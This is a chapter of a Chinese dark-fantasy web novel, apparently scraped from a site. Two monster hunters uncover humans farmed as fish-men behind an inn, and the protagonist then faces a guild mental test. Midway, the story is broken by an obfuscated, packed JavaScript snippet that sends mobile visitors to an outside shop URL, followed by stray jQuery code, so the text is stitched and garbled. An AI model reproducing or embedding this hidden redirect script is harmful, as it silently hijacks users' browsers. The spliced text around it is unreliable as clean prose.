6. 鱼人
    随着路远寒撞开铁门,门后那惊悚的一幕出现在了他和威尔斯面前。

    在这家旅店背后藏着的地方,与其称作后厨,倒不如说是屠宰场。狭窄的空地上排布着数十条体型庞大的畸变死鱼,血水与秽物从鱼腹中漏出来流了一地,乌黑肿胀的鱼鳍甚至已经开始腐臭生疮,仅是它们的瞳孔就有人头大小,被这些庞然大物注视着,连猎魔人也要感到毛骨悚然。

    “这群疯子,什么东西都敢往岸上捞。”威尔斯面色铁青,想到他吃下去的鱼肉竟然源自这里,不由得勃然大怒,“也不怕把自己吃死了!”

    但事情并非如此简单。两人踩着满地血水从小道中穿过,才发现这些死鱼的腹部竟然是被掏空的。

    每条鱼里面都藏着一个人,与那些吃肉上瘾的客人相比,他们已经彻底被驯化成了鱼人,浑身布满幽蓝的鳞片,手指间连着青色的薄膜,靠两颊上的鱼鳃呼吸,下半身虽然还保持着人形,脑袋却和这些畸变过的巨鱼没有差别。他们蜷缩在鱼腹温热的血肉里,仿佛回到了母亲的腹下,不断捧起鱼卵腐肉送到嘴中,重复着进食的动作。

    而他们的脸颊、胸口等部位,则有着许多道被刀切割的痕迹。旅店供应的食物链彻底被揭开黑幕,死鱼腹中的人靠吃肉喝血维持生命,店家再从鱼人身上割肉端到前台,让他们沉醉于这种美妙的口感。

    这些被饲养成为鱼人的存在,说是人类或畸变物都不准确,他们早已离不开海边潮湿的环境,寿命也相当短暂,只是作为向神祇献祭的工具,在旅店中被榨取着剩余的价值而已。

    如果不是刚才耗尽了弹药,威尔斯并不介意顺手给他们解脱。

    “找找吧。”路远寒忽然说了一句,“说不定还能完成委托呢,那个亨特少爷有什么特征,穿了什么衣服?”

    威尔斯开始回想委托人交给他的照片,以及着重强调的特征:褐色头发、颧骨较高,嘴角下有颗痣,戴了一块金表……金表!他对路远寒喊道:“找找看有没有戴金表的!”

    他们的时间有限,旅店里的追杀者虽然行动缓慢,但总会穿过走廊追到这边,要是等到天井下的东西苏醒,那就彻底走不了了。

    好在前方狭窄的区域倒是让他们的搜查方便了不少,路远寒负责左侧,威尔斯检查右侧,两人一边紧盯着鱼人们露出的双手一边赶路,稍有不慎,就会踩到从鱼腹内流出的胰脏肠结。更何况雨天路滑,谁也不想在这种地方摔个头破血流。

    检查了大概有三十多条鱼后,路远寒终于敏锐地瞟到一块微微反光的物体。它藏在密密麻麻的鱼卵当中,随着灯光越来越近,才露出黏稠血渍下金属的材质。

    “找到了!”路远寒将威尔斯招呼过来,用锯肉刀的一端从鱼腹中拨出那块金表,甩到了他脚下。

    发现有陌生人接近,被打扰到的鱼人立刻龇牙低声嘶吼起来,似乎随时都要向他们发起攻击。路远寒还没来得及架刀,威尔斯就将一针强效镇静剂打在了鱼人的胸口上。

    短暂几秒过后,表情困惑的鱼人就失去了行动能力,被威尔斯扛在了肩上。威尔斯则表示,他随身携带镇静剂也是为了以防万一,现在刚好用上,说明准备后手对一个猎魔人而言是相当有必要的。

    路远寒对他的作风深表叹服:“你没想过找错了该怎么办吗?”

    “错了就错了吧!不都是这个德行吗,难道雇主还能把畸变的人治好不成?他爱养着还是杀了都随便,我只负责把目标带回去。”

    威尔斯头也没回,对于这桩差事显然并没有多么尊重。这位亨特少爷浑身都沾着死鱼身上腥臭的血,将他的猎人披风也浸上黑红的色泽,也难怪他是这个态度。

    此刻他们已经到了后厨尽头,前面就是一望无际的海崖和被浪涛席卷的礁石,那漆黑的海水里承载着黑区所有的诡异和神秘。路远寒跳上一艘停泊在港口的小船,又从船尾迅速上岸,这样便越过了两侧的围墙。

    直到坐上返回霍普斯镇的马车,他才放下手里的锯肉刀。一夜惊魂未定,疲惫感这才后知后觉地涌上来。

    威尔斯坐在对面,正对着照片试图辨认出他要押解的这条鱼人跟亨特少爷的相似处。看他那副努力的表现,路远寒不由得开口询问:“威尔斯前辈,雇主到底给了你多少钱?”

    “八百帝恩币啊。虽然说好三七分,但这一路上要是没有你,我也得栽在那个鬼地方,所以我们对半分就行了。都说了不会亏待你的,放心吧!”

    如此轻飘飘的一段话,却在路远寒心中砸起惊涛骇浪。

    八百帝恩币,平分的话就是四百,埃尔文的全部身家也就几十帝恩币,茱莉亚那一筐猫眼螺加起来恐怕也没有超过一百。看来威尔斯这单活接得相当大,而且相当危险,恐怕那位委托人对旅店后隐藏着的真相也有所了解,才会舍得付出这样高昂的买命钱。

    那地方有命进没命出,现在只能庆幸海中的东西没有饥肠辘辘地醒来,要不是什么都不知情就被威尔斯带了过来,路远寒是绝对不会踏进去一步的。

    现在一切平安无事,还有非常高的酬劳,他也就没有责怪威尔斯不负责任。想到刚通过的猎魔人测试,路远寒又问了一句:“等会回去,我就可以到协会参与精神检测了吗?”

    “对,我得把鱼人给雇主送过去,格林会带你回协会。”威尔斯正擦拭着作为重要证物的金表,“虽然那套题只是为了杜绝反社会分子和感染者混进来,但刚经历过那种事,我建议你现在清空脑袋里所有事,放松心态就好。”

    路远寒用指腹将鸟嘴面具的边缘略微抬起一点,呼吸着滤嘴外的空气。

    对他而言,猎杀怪物没有什么难度,但接下来要面对的精神检测才是真正的问题。他不知道猎魔人会使用什么手段进行检测,会不会发现他邪祟的身份,但路远寒别无他选,听威尔斯提到时不以为然的口吻,他只能希望这场检测也顺利通过。

    回到霍普斯后,载着两人的马车在秘语者酒吧门口缓缓停下。令人惊讶的是,格林竟然真的在这里等了一整夜。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962864|136825||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    对于这个叫奥斯温的年轻人能通过测试,格林并不意外,但他没想到这两人能捅出这么大的乱子。听着威尔斯的讲述,格林的神情由惊愕逐渐转为肃重,抄起一张纸就开始记录事情的前因后果,并将这张纸条随身收了起来。

    威尔斯还有正事要办,和他分道扬镳后,格林便带着路远寒前往猎魔人协会。霍普斯镇地形复杂,如果没有路灯等标志物作为指引,很容易迷失在随处可见的枯树与木桩油桶当中。

    不紧不慢绕了几次路后,两人来到了一座圣母像前。这尊雕像面露悲悯,却又仿佛在朝世人微笑,从她背后展开的神圣羽翼被常年的雨水浇出道道泪水般的黑痕,而她怀中则抱着一把威严勇猛的重剑,就像杀人不眨眼的堕天使。

    在这雕像的威仪前,路远寒越发觉得邪祟无处遁形。

    只见格林在旁边的长椅下拉动了某种机关,片刻后就有一处地道的入口出现在了雕像座下。路远寒跟着他走进去,道路两侧都有照明物,并不至于一片漆黑,只是这地道似乎连通了许多地方,每个分岔点都有许多条不同的支路。

    与威尔斯粗犷豪放的性格相反,格林在交谈和走路节奏上都很照顾路远寒,他一边带路,一边介绍着不同方向的去处:“左边的路通往训练场,右边则是武器室……锯肉刀用着还顺手吗?”

    得到路远寒肯定的答复,格林了然地点了点头:“那就好。有需要的时候可以过来维修或更换武器,等你接受过射击训练,就可以领到属于自己的配枪和弹药了。不过每个月能领到的数量有限,剩下的就要你自己想办法了。”

    路远寒跟着格林从地道中的一条支路向上走,没过多久就进到了某座建筑内部。他让路远寒先坐下来稍等片刻,说是有些事情需要汇报,等他回来就会带路远寒去做精神检测。

    格林走后,这间空旷的会客厅里便只剩下了路远寒一人。

    比起错综复杂的地道,这里的环境反而更密闭幽暗,室内的光源只有一根正在燃烧的蜡烛,烧起的焰苗微微飘荡,随时都有可能熄灭。

    为了压制越来越强烈的食欲,路远寒不得不想办法转移注意力。想到那两千帝恩币的天价,他瞬间冷静了许多。即使威尔斯如约分给他四百帝恩币,仍然有一千六百的窟窿需要填补,仅靠接受雇佣委托,恐怕没办法在短时间内凑齐这笔钱,他必须通过一些别的手段来赚取外快。

    路远寒开始回想在秘语者看到的怪物材料中有哪些比较珍贵,是黑檀血、直角石壳还是洪流之泪……

    就在他沉思的时候,一道佝偻的身影猛然从门后冲了出来,如野兽般飞快跃上桌面,几根苍瘦的指节紧紧攥住路远寒的脖颈,无论如何也无法挣脱,用力得让他顿感一阵快要窒息的头晕目眩。

    “怪物!你们都是邪恶的怪物!这个世界疯了!我要回去,我要回去……”扼着他脖子的红帽老人似喜又悲,神情癫狂地自言自语了几句,面上忽然流露出一种极度惊恐,“你是谁?啊啊、你为什么不让我回去?!”